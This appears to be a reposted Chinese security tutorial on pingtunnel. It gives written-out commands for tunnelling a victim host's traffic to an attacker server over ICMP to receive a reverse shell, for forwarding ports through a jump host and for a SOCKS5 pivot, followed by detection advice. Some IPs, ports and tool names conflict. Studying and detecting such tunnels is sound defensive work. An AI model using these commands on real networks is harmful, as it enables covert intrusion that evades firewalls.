icmp协议隧道穿透之pingtunnel

admin 2024年2月21日00:53:07评论25 views字数 4350阅读14分30秒阅读模式
icmp协议隧道穿透之pingtunnel

Tips +1

icmp协议隧道穿透之pingtunnel

工具简介

pingtunnel是来自腾讯大佬的杰作,它是用Go编写的内网隧道穿透工具,可以把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具,跨平台

条件:

  • 目标机(客户端)可以ping出去

  • 目标机可能要管理员权限

  • windows要装有wincap

icmp协议隧道穿透之pingtunnel

参数详情

┌──(root㉿kali)-[/]
└─# ./pingtunnel -h

通过伪造ping,把tcp/udp/sock5流量通过远程服务器转发到目的服务器上。用于突破某些运营商封锁TCP/UDP流量。
By forging ping, the tcp/udp/sock5 traffic is forwarded to the destination server through the remote server. Used to break certain operators to block TCP/UDP traffic.

Usage:

// server
pingtunnel -type server

// client, Forward udp
pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455

// client, Forward tcp
pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455 -tcp 1

// client, Forward sock5, implicitly open tcp, so no target server is needed
pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -sock5 1

-type 服务器或者客户端
client or server

服务器参数server param:

-key 设置的纯数字密码,默认0, 参数为int类型,范围从0-2147483647,不可夹杂字母特殊符号
Set password, default 0

-nolog 不写日志文件,只打印标准输出,默认0
Do not write log files, only print standard output, default 0 is off

-noprint 不打印屏幕输出,默认0
Do not print standard output, default 0 is off

-loglevel 日志文件等级,默认info
log level, default is info

-maxconn 最大连接数,默认0,不受限制
the max num of connections, default 0 is no limit

-maxprt server最大处理线程数,默认100
max process thread in server, default 100

-maxprb server最大处理线程buffer数,默认1000
max process thread's buffer in server, default 1000

-conntt server发起连接到目标地址的超时时间,默认1000ms
The timeout period for the server to initiate a connection to the destination address. The default is 1000ms.

客户端参数client param:

-l 本地的地址,发到这个端口的流量将转发到服务器
Local address, traffic sent to this port will be forwarded to the server

-s 服务器的地址,流量将通过隧道转发到这个服务器
The address of the server, the traffic will be forwarded to this server through the tunnel

-t 远端服务器转发的目的地址,流量将转发到这个地址
Destination address forwarded by the remote server, traffic will be forwarded to this address

-timeout 本地记录连接超时的时间,单位是秒,默认60s
The time when the local record connection timed out, in seconds, 60 seconds by default

-key 设置的密码,默认0
Set password, default 0

-tcp 设置是否转发tcp,默认0
Set the switch to forward tcp, the default is 0

-tcp_bs tcp的发送接收缓冲区大小,默认1MB
Tcp send and receive buffer size, default 1MB

-tcp_mw tcp的最大窗口,默认20000
The maximum window of tcp, the default is 20000

-tcp_rst tcp的超时发送时间,默认400ms
Tcp timeout resend time, default 400ms

-tcp_gz 当数据包超过这个大小,tcp将压缩数据,0表示不压缩,默认0
Tcp will compress data when the packet exceeds this size, 0 means no compression, default 0

-tcp_stat 打印tcp的监控,默认0
Print tcp connection statistic, default 0 is off

-nolog 不写日志文件,只打印标准输出,默认0
Do not write log files, only print standard output, default 0 is off

-noprint 不打印屏幕输出,默认0
Do not print standard output, default 0 is off

-loglevel 日志文件等级,默认info
log level, default is info

-sock5 开启sock5转发,默认0
Turn on sock5 forwarding, default 0 is off

-profile 在指定端口开启性能检测,默认0不开启
Enable performance detection on the specified port. The default 0 is not enabled.

-s5filter sock5模式设置转发过滤,默认全转发,设置CN代表CN地区的直连不转发
Set the forwarding filter in the sock5 mode. The default is full forwarding. For example, setting the CN indicates that the Chinese address is not forwarded.

-s5ftfile sock5模式转发过滤的数据文件,默认读取当前目录的GeoLite2-Country.mmdb
The data file in sock5 filter mode, the default reading of the current directory GeoLite2-Country.mmdb

实验环境

1、直连出网

攻击机kali ip:172.23.119.128

icmp协议隧道穿透之pingtunnel

受害机器ubuntu ip:172.23.119.10

icmp协议隧道穿透之pingtunnel

1、攻击机(服务端)启动隧道并关闭系统默认的 ping  

sudo ./pingtunnel -type server
或者
sudo ./pingtunnel -type server -key 123456
echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all(可选)

icmp协议隧道穿透之pingtunnel

2、目标机器

目标机器监听本地8888端口,连接服务端(kali)172.23.119.128 ,将本地监听的数据转发到服务端的7777端口

./pingtunnel -type client -l :8888 -s 192.168.10.128 -t 192.168.10.128:7777 -tcp 1 -key 123456

3、反弹shell

我们在kali 上监听7777端口

icmp协议隧道穿透之pingtunnel目标机器上执行如下命令

icmp协议隧道穿透之pingtunnel

kali上成功收到目标机器的shell

icmp协议隧道穿透之pingtunnel

2、端口转发

攻击机kali ip:172.23.119.128

跳板机器—ubuntu ip1:172.23.119.10  ip2:192.168.100.20

内外机器—ubuntu ip1:192.168.100.50 ip2:192.168.88.60

icmp协议隧道穿透之pingtunnel

1、kali

kali 上监听29999端口,将流量转发给边界主机

pingtunnel -type client -s 172.23.119.10:28848 -t 192.168.100.50:8848 -tcp 1

2、跳板机器-—ubuntu ip1:172.23.119.10  ip2:192.168.100.50

ptunnel -type server

3、浏览器访问内外127.0.0.1:29999服务

icmp协议隧道穿透之pingtunnel流量上可以看到转发的流量最终到内外主机的8848

icmp协议隧道穿透之pingtunnel

3、socks5隧道

实验环境同上,通过边界主机搭建socks5隧道,访问内外主机

1、kali

pingtunnel -type client -l :1080 -s 172.23.119.10 -sock5 1

2、边界主机

ptunnel -type server

3、kali配置socks5

icmp协议隧道穿透之pingtunnel

icmp协议隧道穿透之pingtunnel

icmp协议隧道穿透之pingtunnelicmp协议隧道穿透之pingtunnel

icmp协议隧道穿透之pingtunnel

icmp协议隧道穿透之pingtunnelicmp协议隧道穿透之pingtunnel

流量分析

数据包执行命令明文显示

从执行命令可以看到字节大于64,执行的命令明文显示

icmp协议隧道穿透之pingtunnel执行的命令显示如下

icmp协议隧道穿透之pingtunnel

icmp协议隧道穿透之pingtunnelicmp协议隧道穿透之pingtunnelicmp协议隧道穿透之pingtunnel

异常ICMP数据包长度

ifconfig回显如下,字节长度974

icmp协议隧道穿透之pingtunnel

异常ICMP数据包数量

异常ICMP数据包数量 1s内有十几个包  

icmp协议隧道穿透之pingtunnel

防御ICMP隧道攻击的方法

许多网络管理员会阻止ICMP通信进出站点。但是出站方向,ICMP通信是被允许的,而且目前大多数的网络和边界设备不会过滤ICMP流量。使用ICMP隧道时会产生大量的ICMP数据包,我们可以通过wireshark进行ICMP数据包分析以检测恶意ICMP流量,具体方法如下。

.检测同一来源的ICMP数据包的数量。一个正常的ping 命令每秒最多发送两个数据包,而使用ICMP隧道的浏览器会在很短的时间内产生上千个ICMP数据包。

.注意那些Payload大于64bit的ICMP数据包

.寻找相应数据包中的payload与请求数据包中的payload不一致的ICMP数据包

.检查ICMP数据包的协议标签。例如,icmptunnel会在所有的ICMP payload前面添加"TUNL"标记来标识隧道----这就是特征

参考链接:https://cloud.tencent.com/developer/article/2130059https://www.cnblogs.com/lzkalislw/p/15585980.html

End

“点赞、在看与分享都是莫大的支持”

icmp协议隧道穿透之pingtunnel

icmp协议隧道穿透之pingtunnel

原文始发于微信公众号(贝雷帽SEC):icmp协议隧道穿透之pingtunnel

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月21日00:53:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   icmp协议隧道穿透之pingtunnelhttps://cn-sec.com/archives/2508987.html

发表评论

匿名网友 填写信息